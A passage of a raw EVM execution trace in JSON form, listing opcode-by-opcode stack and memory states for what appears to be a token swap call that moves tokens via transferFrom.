000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12547,"op":"SWAP2","gas":77284,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12548,"op":"SWAP1","gas":77281,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x3a4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12549,"op":"SWAP2","gas":77278,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12550,"op":"AND","gas":77275,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3a4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12551,"op":"SWAP1","gas":77272,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x3a4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12552,"op":"PUSH4","gas":77269,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12557,"op":"SWAP1","gas":77266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3a4","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12558,"op":"PUSH1","gas":77263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12560,"op":"ADD","gas":77260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x3a4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12561,"op":"PUSH1","gas":77257,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12563,"op":"PUSH1","gas":77254,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"]},{"pc":12565,"op":"MLOAD","gas":77251,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b81